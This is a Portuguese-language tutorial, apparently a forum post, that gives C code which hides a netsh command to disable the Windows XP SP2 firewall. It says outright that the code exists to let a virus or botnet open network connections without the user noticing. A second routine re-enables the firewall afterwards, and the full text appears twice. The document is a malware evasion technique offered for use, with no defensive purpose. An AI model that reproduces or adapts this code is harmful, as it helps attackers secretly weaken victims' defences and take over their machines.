Introdução:
Este método serve para ajudar que um virus(ou um software botnet) abra uma conexão sem que o usúario perceba. Este código funciona apenas no Windows Xp sp2. Existem métodos semelhantes para as outras versões.
Código:
Para desabilitar o firewall usamos o seguinte código:
#include <windows.h>
DisableFirewall(){
UINT status=0;
while(status<31){
status=WinExec("netsh.exe firewall set opmode mode=disable profile=all",SW_HIDE);
}
}
Escrevi em C, mas você pode adapta-lo a praticamente qualquer linguagem de programação.
Notas:
Este código deve ser executado antes de qualquer tentativa de conexão por parte do software.
Código 2:
Quando não for mais usar conexões no seu programa use:
#include <windows.h>
EnableFirewall(){
UINT status=0;
while(status<31){
status=WinExec("netsh.exe firewall set opmode mode=enable profile=all",SW_HIDE);
}
}
Observações:
É preciso usar while(status<31) porque a API do windows retorna um numero maior que 31 quando obtiver sucesso chamando o processo.
Este método serve para ajudar que um virus(ou um software botnet) abra uma conexão sem que o usúario perceba. Este código funciona apenas no Windows Xp sp2. Existem métodos semelhantes para as outras versões.
Código:
Para desabilitar o firewall usamos o seguinte código:
#include <windows.h>
DisableFirewall(){
UINT status=0;
while(status<31){
status=WinExec("netsh.exe firewall set opmode mode=disable profile=all",SW_HIDE);
}
}
Escrevi em C, mas você pode adapta-lo a praticamente qualquer linguagem de programação.
Notas:
Este código deve ser executado antes de qualquer tentativa de conexão por parte do software.
Código 2:
Quando não for mais usar conexões no seu programa use:
#include <windows.h>
EnableFirewall(){
UINT status=0;
while(status<31){
status=WinExec("netsh.exe firewall set opmode mode=enable profile=all",SW_HIDE);
}
}
Observações:
É preciso usar while(status<31) porque a API do windows retorna um numero maior que 31 quando obtiver sucesso chamando o processo.
Comment